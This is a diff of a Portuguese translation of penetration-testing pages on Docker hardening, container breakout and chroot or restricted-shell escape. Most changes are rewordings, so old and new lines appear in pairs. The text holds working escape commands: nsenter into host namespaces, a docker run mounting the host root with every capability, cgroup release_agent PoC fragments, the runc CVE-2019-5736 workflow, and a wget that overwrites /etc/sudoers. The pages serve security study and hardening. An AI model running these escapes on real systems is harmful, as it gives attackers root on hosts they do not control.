- **Aspecto de Segurança**: CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, pode ser potencialmente explorado para acesso não autorizado.
**Queda de Capacidades**
- **Importância**: É um recurso de segurança crucial para o isolamento de processos.
- **Funcionalidade**: Restringe as ações que um processo root pode realizar, eliminando certas capacidades. Mesmo que um processo seja executado com privilégios de root, a falta das capacidades necessárias impede que ele execute ações privilegiadas, pois as syscalls falharão devido a permissões insuficientes.
Estas são as **capacidades restantes** após o processo eliminar as outras:
Estas são as **capacidades restantes** após o processo descartar as outras:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@ -129,9 +129,9 @@ Isso permitirá reduzir capacidades, syscalls, acesso a arquivos e pastas...
### Namespaces
**Namespaces** são um recurso do kernel Linux que **particiona recursos do kernel** de modo que um conjunto de **processos** **vê** um conjunto de **recursos** enquanto **outro** conjunto de **processos** vê um **conjunto** diferente de recursos. O recurso funciona tendo o mesmo namespace para um conjunto de recursos e processos, mas esses namespaces se referem a recursos distintos. Os recursos podem existir em múltiplos espaços.
**Namespaces** são um recurso do kernel Linux que **particiona recursos do kernel** de modo que um conjunto de **processos** **vê** um conjunto de **recursos**, enquanto **outro** conjunto de **processos** vê um **conjunto diferente** de recursos. O recurso funciona tendo o mesmo namespace para um conjunto de recursos e processos, mas esses namespaces se referem a recursos distintos. Recursos podem existir em múltiplos espaços.
O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar a isolação de Containers:
O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar a isolação de Contêineres:
- pid namespace
- mount namespace
@ -141,14 +141,15 @@ O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar a isola
Para **mais informações sobre os namespaces** consulte a seguinte página:
{{#ref}}
namespaces/
{{#endref}}
### cgroups
O recurso do kernel Linux **cgroups** fornece a capacidade de **restringir recursos como cpu, memória, io, largura de banda de rede entre** um conjunto de processos. O Docker permite criar Containers usando o recurso cgroup, que permite o controle de recursos para o Container específico.\
A seguir está um Container criado com memória de espaço de usuário limitada a 500m, memória do kernel limitada a 50m, compartilhamento de cpu a 512, blkioweight a 400. O compartilhamento de CPU é uma proporção que controla o uso de CPU do Container. Tem um valor padrão de 1024 e uma faixa entre 0 e 1024. Se três Containers tiverem o mesmo compartilhamento de CPU de 1024, cada Container pode usar até 33% da CPU em caso de contenção de recursos de CPU. blkio-weight é uma proporção que controla o IO do Container. Tem um valor padrão de 500 e uma faixa entre 10 e 1000.
O recurso do kernel Linux **cgroups** fornece a capacidade de **restringir recursos como cpu, memória, io, largura de banda de rede entre** um conjunto de processos. O Docker permite criar Contêineres usando o recurso cgroup, que permite o controle de recursos para o Contêiner específico.\
A seguir está um Contêiner criado com memória de espaço de usuário limitada a 500m, memória do kernel limitada a 50m, compartilhamento de cpu a 512, blkioweight a 400. O compartilhamento de CPU é uma proporção que controla o uso de CPU do Contêiner. Tem um valor padrão de 1024 e uma faixa entre 0 e 1024. Se três Contêineres tiverem o mesmo compartilhamento de CPU de 1024, cada Contêiner pode usar até 33% da CPU em caso de contenção de recursos de CPU. blkio-weight é uma proporção que controla o IO do Contêiner. Tem um valor padrão de 500 e uma faixa entre 10 e 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -168,7 +169,7 @@ cgroups.md
As capacidades permitem **um controle mais fino sobre as capacidades que podem ser permitidas** para o usuário root. O Docker usa o recurso de capacidade do kernel Linux para **limitar as operações que podem ser realizadas dentro de um Container**, independentemente do tipo de usuário.
Quando um contêiner docker é executado, o **processo descarta capacidades sensíveis que o processo poderia usar para escapar do isolamento**. Isso tenta garantir que o processo não consiga realizar ações sensíveis e escapar:
Quando um contêiner docker é executado, o **processo descarta capacidades sensíveis que o processo poderia usar para escapar da isolação**. Isso tenta garantir que o processo não consiga realizar ações sensíveis e escapar:
{{#ref}}
../linux-capabilities.md
@ -219,7 +220,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## DoS de um contêiner
Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido poderia causar DoS ao host onde está sendo executado.
Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido poderia causar DoS no host onde está sendo executado.
- DoS de CPU
```bash
@ -272,7 +273,7 @@ Para mais opções **`--security-opt`** consulte: [https://docs.docker.com/engin
## Outras Considerações de Segurança
### Gerenciando Segredos: Melhores Práticas
### Gerenciamento de Segredos: Melhores Práticas
É crucial evitar embutir segredos diretamente em imagens Docker ou usar variáveis de ambiente, pois esses métodos expõem suas informações sensíveis a qualquer pessoa com acesso ao contêiner através de comandos como `docker inspect` ou `exec`.
@ -309,7 +310,7 @@ Em ambientes Kubernetes, segredos são suportados nativamente e podem ser gerenc
### gVisor
**gVisor** é um kernel de aplicativo, escrito em Go, que implementa uma parte substancial da superfície do sistema Linux. Inclui um runtime da [Open Container Initiative (OCI)](https://www.opencontainers.org) chamado `runsc` que fornece uma **fronteira de isolamento entre o aplicativo e o kernel do host**. O runtime `runsc` se integra ao Docker e Kubernetes, facilitando a execução de contêineres em sandbox.
**gVisor** é um kernel de aplicativo, escrito em Go, que implementa uma parte substancial da superfície do sistema Linux. Inclui um runtime da [Open Container Initiative (OCI)](https://www.opencontainers.org) chamado `runsc` que fornece uma **fronteira de isolamento entre o aplicativo e o kernel do host**. O runtime `runsc` se integra com Docker e Kubernetes, facilitando a execução de contêineres em sandbox.
{{#ref}}
https://github.com/google/gvisor
@ -325,20 +326,20 @@ https://katacontainers.io/
### Dicas Resumidas
- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de assumir o controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de ter controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
- **Não execute como root dentro do contêiner. Use um** [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespaces de usuário**](https://docs.docker.com/engine/security/userns-remap/)**.** O root no contêiner é o mesmo que no host, a menos que seja remapeado com namespaces de usuário. É apenas levemente restrito por, principalmente, namespaces do Linux, capacidades e cgroups.
- [**Remova todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas aquelas que são necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de capacidades e adicioná-las aumenta o escopo de um ataque potencial.
- [**Remova todas as capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e habilite apenas aquelas que são necessárias** (`--cap-add=...`). Muitas cargas de trabalho não precisam de nenhuma capacidade e adicioná-las aumenta o escopo de um ataque potencial.
- [**Use a opção de segurança “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que processos ganhem mais privilégios, por exemplo, através de binários suid.
- [**Limite os recursos disponíveis para o contêiner**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limites de recursos podem proteger a máquina contra ataques de negação de serviço.
- **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** perfis para restringir as ações e syscalls disponíveis para o contêiner ao mínimo necessário.
- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa suas próprias com base nelas. Não herde ou use imagens [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root, senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
- **Use** [**imagens docker oficiais**](https://docs.docker.com/docker-hub/official_images/) **e exija assinaturas** ou construa as suas próprias com base nelas. Não herde ou use imagens [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Também armazene chaves root, senhas em um lugar seguro. O Docker tem planos para gerenciar chaves com UCP.
- **Reconstrua regularmente** suas imagens para **aplicar patches de segurança ao host e às imagens.**
- Gerencie seus **segredos com sabedoria** para que seja difícil para o atacante acessá-los.
- Se você **expor o daemon docker, use HTTPS** com autenticação de cliente e servidor.
- Em seu Dockerfile, **prefira COPY em vez de ADD**. ADD extrai automaticamente arquivos compactados e pode copiar arquivos de URLs. COPY não tem essas capacidades. Sempre que possível, evite usar ADD para não ficar suscetível a ataques através de URLs remotas e arquivos Zip.
- Tenha **contêineres separados para cada micro-serviço**
- Tenha **contêineres separados para cada micro-s**erviço.
- **Não coloque ssh** dentro do contêiner, “docker exec” pode ser usado para ssh no Contêiner.
- Tenha **imagens de contêiner menores**
- Tenha **imagens de contêiner menores**.
## Docker Breakout / Escalada de Privilégios
@ -350,7 +351,7 @@ docker-breakout-privilege-escalation/
## Bypass do Plugin de Autenticação do Docker
Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **contorná-lo:**
Se você tem acesso ao socket docker ou tem acesso a um usuário no **grupo docker, mas suas ações estão sendo limitadas por um plugin de autenticação do docker**, verifique se você pode **bypass isso:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md

42
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
View File

@ -4,8 +4,8 @@
## Enumeração Automática & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ele também pode **enumerar contêineres**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta ferramenta é bastante **útil para enumerar o contêiner em que você está, até tentar escapar automaticamente**
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Também pode **enumerar contêineres**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta ferramenta é bastante **útil para enumerar o contêiner em que você está e até tentar escapar automaticamente**
- [**amicontained**](https://github.com/genuinetools/amicontained): Ferramenta útil para obter os privilégios que o contêiner possui a fim de encontrar maneiras de escapar dele
- [**deepce**](https://github.com/stealthcopter/deepce): Ferramenta para enumerar e escapar de contêineres
- [**grype**](https://github.com/anchore/grype): Obtenha os CVEs contidos no software instalado na imagem
@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> [!TIP]
> Caso o **docker socket esteja em um lugar inesperado**, você ainda pode se comunicar com ele usando o comando **`docker`** com o parâmetro **`-H unix:///path/to/docker.sock`**
O daemon do Docker também pode estar [ouvindo em uma porta (por padrão 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer através do socket do Systemd `fd://`.
> [!NOTE]
> [!TIP]
> Além disso, preste atenção aos sockets de tempo de execução de outros runtimes de alto nível:
>
> - dockershim: `unix:///var/run/dockershim.sock`
@ -100,7 +100,7 @@ docker run --rm -it --privileged ubuntu bash
```
#### Montando Disco - Poc1
Contêineres docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em comandos docker mal configurados onde a flag `--privileged` ou `--device=/dev/sda1` com caps é especificada, é possível obter privilégios para ver o disco do host.
Contêineres docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em comandos docker mal configurados onde a flag `--privileged` ou `--device=/dev/sda1` com letras maiúsculas é especificada, é possível obter privilégios para ver o disco do host.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Escalada de Privilégios Abusando do release_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Abusando do release_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -168,7 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Escapando de Privilégios Abusando do release_agent criado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Escalada de Privilégios Abusando do release_agent criado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -216,7 +216,7 @@ Encontre uma **explicação da técnica** em:
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Escapando com Privilégios Abusando do release_agent sem conhecer o caminho relativo - PoC3
#### Privileged Escape Abusando release_agent sem conhecer o caminho relativo - PoC3
Nos exploits anteriores, o **caminho absoluto do contêiner dentro do sistema de arquivos do host é revelado**. No entanto, isso nem sempre é o caso. Em casos onde você **não conhece o caminho absoluto do contêiner dentro do host**, você pode usar esta técnica:
@ -310,7 +310,7 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Escapando com Privilégios Abusando de Montagens Sensíveis
#### Escapando de Privilégios Abusando de Montagens Sensíveis
Existem vários arquivos que podem ser montados que fornecem **informações sobre o host subjacente**. Alguns deles podem até indicar **algo a ser executado pelo host quando algo acontece** (o que permitirá que um atacante escape do contêiner).\
O abuso desses arquivos pode permitir que:
@ -333,7 +333,9 @@ Em várias ocasiões, você encontrará que o **contêiner tem algum volume mont
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Escalada de Privilégios com 2 shells e montagem de host
Outro exemplo interessante pode ser encontrado em [**este blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce), onde é indicado que as pastas `/usr/bin/` e `/bin/` do host estão montadas dentro do contêiner, permitindo que o usuário root do contêiner modifique binários dentro dessas pastas. Portanto, se um cron job estiver usando algum binário de lá, como `/etc/cron.d/popularity-contest`, isso permite escapar do contêiner modificando um binário usado pelo cron job.
### Escalada de Privilégios com 2 shells e montagem do host
Se você tiver acesso como **root dentro de um contêiner** que tem alguma pasta do host montada e você **escapou como um usuário não privilegiado para o host** e tem acesso de leitura sobre a pasta montada.\
Você pode criar um **arquivo bash suid** na **pasta montada** dentro do **contêiner** e **executá-lo a partir do host** para escalar privilégios.
@ -346,10 +348,10 @@ bash -p #From non priv inside mounted folder
```
### Escalada de Privilégios com 2 shells
Se você tiver acesso como **root dentro de um contêiner** e tiver **escapado como um usuário não privilegiado para o host**, você pode abusar de ambas as shells para **privesc dentro do host** se você tiver a capacidade MKNOD dentro do contêiner (é por padrão) como [**explicado neste post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Com tal capacidade, o usuário root dentro do contêiner é permitido **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo são arquivos especiais que são usados para **acessar hardware subjacente e módulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para **ler os dados brutos no disco do sistema**.
Se você tiver acesso como **root dentro de um container** e tiver **escapado como um usuário não privilegiado para o host**, você pode abusar de ambas as shells para **privesc dentro do host** se você tiver a capacidade MKNOD dentro do container (é por padrão) como [**explicado neste post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Com tal capacidade, o usuário root dentro do container é permitido **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo são arquivos especiais que são usados para **acessar hardware subjacente e módulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para **ler os dados brutos no disco do sistema**.
O Docker protege contra o uso indevido de dispositivos de bloco dentro de contêineres, aplicando uma política de cgroup que **bloqueia operações de leitura/gravação de dispositivos de bloco**. No entanto, se um dispositivo de bloco for **criado dentro do contêiner**, ele se torna acessível de fora do contêiner através do diretório **/proc/PID/root/**. Esse acesso requer que o **proprietário do processo seja o mesmo** tanto dentro quanto fora do contêiner.
O Docker protege contra o uso indevido de dispositivos de bloco dentro dos containers, aplicando uma política de cgroup que **bloqueia operações de leitura/gravação de dispositivos de bloco**. No entanto, se um dispositivo de bloco for **criado dentro do container**, ele se torna acessível de fora do container através do diretório **/proc/PID/root/**. Esse acesso requer que o **proprietário do processo seja o mesmo** tanto dentro quanto fora do container.
Exemplo de **exploração** deste [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
@ -432,13 +434,13 @@ Como nos seguintes exemplos:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes daquelas que um contêiner pode acessar).
Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes das que um contêiner pode acessar).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Com `hostIPC=true`, você ganha acesso aos recursos de comunicação entre processos (IPC) do host, como **memória compartilhada** em `/dev/shm`. Isso permite leitura/escrita onde os mesmos recursos IPC são usados por outros processos do host ou do pod. Use `ipcs` para inspecionar esses mecanismos IPC mais a fundo.
Com `hostIPC=true`, você ganha acesso aos recursos de comunicação entre processos (IPC) do host, como **memória compartilhada** em `/dev/shm`. Isso permite leitura/gravação onde os mesmos recursos IPC são usados por outros processos do host ou do pod. Use `ipcs` para inspecionar esses mecanismos IPC mais a fundo.
- **Inspecionar /dev/shm** - Procure por quaisquer arquivos nesta localização de memória compartilhada: `ls -la /dev/shm`
- **Inspecionar instalações IPC existentes** – Você pode verificar se alguma instalação IPC está sendo usada com `/usr/bin/ipcs`. Verifique com: `ipcs -a`
@ -453,13 +455,13 @@ cat /proc/self/status | grep CapEff
```
### Abuso de namespace de usuário via symlink
A segunda técnica explicada no post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de montagens bind com namespaces de usuário, para afetar arquivos dentro do host (neste caso específico, deletar arquivos).
A segunda técnica explicada no post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de montagens vinculadas com namespaces de usuário, para afetar arquivos dentro do host (neste caso específico, deletar arquivos).
## CVEs
### Exploit Runc (CVE-2019-5736)
### Exploit do Runc (CVE-2019-5736)
Caso você consiga executar `docker exec` como root (provavelmente com sudo), você tenta escalar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica basicamente **sobrescreverá** o _**/bin/sh**_ binário do **host** **a partir de um contêiner**, então qualquer um executando docker exec pode acionar o payload.
Caso você consiga executar `docker exec` como root (provavelmente com sudo), você tenta escalar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica basicamente **sobrescreverá** o binário _**/bin/sh**_ do **host** **a partir de um contêiner**, então qualquer um executando docker exec pode acionar o payload.
Altere o payload conforme necessário e construa o main.go com `go build main.go`. O binário resultante deve ser colocado no contêiner docker para execução.\
Ao executar, assim que exibir `[+] Overwritten /bin/sh successfully`, você precisa executar o seguinte a partir da máquina host:
@ -470,7 +472,7 @@ Isso acionará o payload que está presente no arquivo main.go.
Para mais informações: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> [!TIP]
> Existem outros CVEs aos quais o contêiner pode ser vulnerável, você pode encontrar uma lista em [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Escape Personalizado do Docker
@ -506,7 +508,7 @@ Para mais informações: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-esc
```
{{#endtab}}
{{#tab name="syscalls arm64"}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct

13
src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
View File

@ -59,7 +59,7 @@ mount | grep '(ro'
### Mascarando sobre sistemas de arquivos do kernel
O sistema de arquivos **/proc** é seletivamente gravável, mas por segurança, certas partes são protegidas contra acesso de leitura e gravação, sobrepondo-as com **tmpfs**, garantindo que os processos do contêiner não possam acessar áreas sensíveis.
O sistema de arquivos **/proc** é seletivamente gravável, mas por segurança, certas partes estão protegidas contra acesso de leitura e gravação, sobrepondo-as com **tmpfs**, garantindo que os processos do contêiner não possam acessar áreas sensíveis.
> [!NOTE] > **tmpfs** é um sistema de arquivos que armazena todos os arquivos na memória virtual. tmpfs não cria nenhum arquivo no seu disco rígido. Portanto, se você desmontar um sistema de arquivos tmpfs, todos os arquivos que residem nele são perdidos para sempre.
@ -118,7 +118,7 @@ Você pode manipular as capacidades disponíveis para um contêiner sem executar
### Seccomp
**Seccomp** é útil para **limitar** as **syscalls** que um contêiner pode chamar. Um perfil seccomp padrão é habilitado por padrão ao executar contêineres docker, mas no modo privilegiado ele é desativado. Saiba mais sobre Seccomp aqui:
**Seccomp** é útil para **limitar** as **syscalls** que um contêiner pode chamar. Um perfil seccomp padrão é ativado por padrão ao executar contêineres docker, mas no modo privilegiado ele é desativado. Saiba mais sobre Seccomp aqui:
{{#ref}}
seccomp.md
@ -147,7 +147,7 @@ Seccomp_filters: 0
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Além disso, note que quando o Docker (ou outros CRIs) são usados em um **cluster Kubernetes**, o **filtro seccomp está desativado por padrão**.
Além disso, note que quando o Docker (ou outros CRIs) são usados em um cluster de **Kubernetes**, o **filtro seccomp está desativado por padrão**.
### AppArmor
@ -162,7 +162,8 @@ apparmor.md
```
### SELinux
Executar um contêiner com a flag `--privileged` desabilita os **rótulos SELinux**, fazendo com que ele herde o rótulo do mecanismo de contêiner, tipicamente `unconfined`, concedendo acesso total semelhante ao do mecanismo de contêiner. No modo sem root, usa `container_runtime_t`, enquanto no modo root, `spc_t` é aplicado.
Executar um contêiner com a flag `--privileged` desabilita os **rótulos SELinux**, fazendo com que ele herde o rótulo do mecanismo de contêiner, tipicamente `unconfined`, concedendo acesso total semelhante ao do mecanismo de contêiner. No modo sem root, usa `container_runtime_t`, enquanto no modo root, aplica-se `spc_t`.
{{#ref}}
../selinux.md
@ -201,9 +202,9 @@ PID USER TIME COMMAND
{{#endtab}}
{{#endtabs}}
### Namespace de usuário
### Namespace do usuário
**Por padrão, os mecanismos de contêiner não utilizam namespaces de usuário, exceto para contêineres sem root**, que os requerem para montagem de sistema de arquivos e uso de múltiplos UIDs. Os namespaces de usuário, essenciais para contêineres sem root, não podem ser desativados e melhoram significativamente a segurança ao restringir privilégios.
**Por padrão, os mecanismos de contêiner não utilizam namespaces de usuário, exceto para contêineres sem root**, que os requerem para montagem de sistema de arquivos e uso de múltiplos UIDs. Namespaces de usuário, essenciais para contêineres sem root, não podem ser desativados e melhoram significativamente a segurança ao restringir privilégios.
## Referências

7
src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
View File

@ -4,42 +4,49 @@
### **PID namespace**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
{{#ref}}
user-namespace.md
{{#endref}}

6
src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
View File

@ -4,7 +4,7 @@
## Informações Básicas
Um cgroup namespace é um recurso do kernel Linux que fornece **isolamento de hierarquias de cgroup para processos em execução dentro de um namespace**. Cgroups, abreviação de **control groups**, são um recurso do kernel que permite organizar processos em grupos hierárquicos para gerenciar e impor **limites nos recursos do sistema** como CPU, memória e I/O.
Um cgroup namespace é um recurso do kernel Linux que fornece **isolamento de hierarquias de cgroup para processos em execução dentro de um namespace**. Cgroups, abreviação de **grupos de controle**, são um recurso do kernel que permite organizar processos em grupos hierárquicos para gerenciar e impor **limites sobre recursos do sistema** como CPU, memória e I/O.
Embora os cgroup namespaces não sejam um tipo de namespace separado como os outros que discutimos anteriormente (PID, mount, network, etc.), eles estão relacionados ao conceito de isolamento de namespace. **Cgroup namespaces virtualizam a visão da hierarquia de cgroup**, de modo que os processos em execução dentro de um cgroup namespace têm uma visão diferente da hierarquia em comparação com os processos em execução no host ou em outros namespaces.
@ -34,11 +34,11 @@ Ao montar uma nova instância do sistema de arquivos `/proc` se você usar o par
<summary>Erro: bash: fork: Não é possível alocar memória</summary>
Quando `unshare` é executado sem a opção `-f`, um erro é encontrado devido à forma como o Linux lida com novos namespaces de PID (Identificação de Processo). Os detalhes principais e a solução estão descritos abaixo:
Quando `unshare` é executado sem a opção `-f`, um erro é encontrado devido à forma como o Linux lida com novos namespaces de PID (ID do Processo). Os detalhes principais e a solução estão descritos abaixo:
1. **Explicação do Problema**:
- O kernel do Linux permite que um processo crie novos namespaces usando a chamada de sistema `unshare`. No entanto, o processo que inicia a criação de um novo namespace de PID (referido como o processo "unshare") não entra no novo namespace; apenas seus processos filhos o fazem.
- O kernel do Linux permite que um processo crie novos namespaces usando a chamada de sistema `unshare`. No entanto, o processo que inicia a criação de um novo namespace de PID (referido como o processo "unshare") não entra no novo namespace; apenas seus processos filhos entram.
- Executar `%unshare -p /bin/bash%` inicia `/bin/bash` no mesmo processo que `unshare`. Consequentemente, `/bin/bash` e seus processos filhos estão no namespace de PID original.
- O primeiro processo filho de `/bin/bash` no novo namespace se torna PID 1. Quando esse processo sai, ele aciona a limpeza do namespace se não houver outros processos, já que PID 1 tem o papel especial de adotar processos órfãos. O kernel do Linux então desabilitará a alocação de PID nesse namespace.

14
src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
View File

@ -17,7 +17,7 @@ Geralmente, isso significa que para escapar você precisa ser root dentro do chr
### Root + CWD
> [!WARNING]
> Se você é **root** dentro de um chroot, você **pode escapar** criando **outro chroot**. Isso porque 2 chroots não podem coexistir (no Linux), então se você criar uma pasta e depois **criar um novo chroot** nessa nova pasta sendo **você fora dele**, agora você estará **fora do novo chroot** e, portanto, estará no FS.
> Se você é **root** dentro de um chroot, você **pode escapar** criando **outro chroot**. Isso porque 2 chroots não podem coexistir (no Linux), então se você criar uma pasta e depois **criar um novo chroot** nessa nova pasta sendo **você fora dela**, agora você estará **fora do novo chroot** e, portanto, estará no FS.
>
> Isso ocorre porque geralmente o chroot NÃO move seu diretório de trabalho para o indicado, então você pode criar um chroot, mas estar fora dele.
@ -116,13 +116,13 @@ chroot(".");
> - Execute chroot no processo filho em uma pasta diferente
> - No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho
> - Passe para o processo filho esse FD usando o UDS
> - O processo filho muda o diretório para esse FD, e como está fora do seu chroot, ele escapará da prisão
> - O processo filho muda de diretório para esse FD, e como está fora do seu chroot, ele escapará da prisão
### Root + Mount
> [!WARNING]
>
> - Montando o dispositivo raiz (/) em um diretório dentro do chroot
> - Montando o dispositivo root (/) em um diretório dentro do chroot
> - Chrooting nesse diretório
>
> Isso é possível no Linux
@ -147,7 +147,7 @@ chroot(".");
> [!WARNING]
>
> - Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo deles mesmos... mas isso não é mais possível por padrão
> - Antigamente, os usuários podiam depurar seus próprios processos a partir de um processo deles mesmos... mas isso não é mais possível por padrão
> - De qualquer forma, se for possível, você poderia ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap_sys_ptrace)).
## Bash Jails
@ -202,13 +202,14 @@ Você pode sobrescrever, por exemplo, o arquivo sudoers.
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
### Outros truques
### Outras truques
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io)\
**Também pode ser interessante a página:**
{{#ref}}
../bypass-bash-restrictions/
{{#endref}}
@ -217,6 +218,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
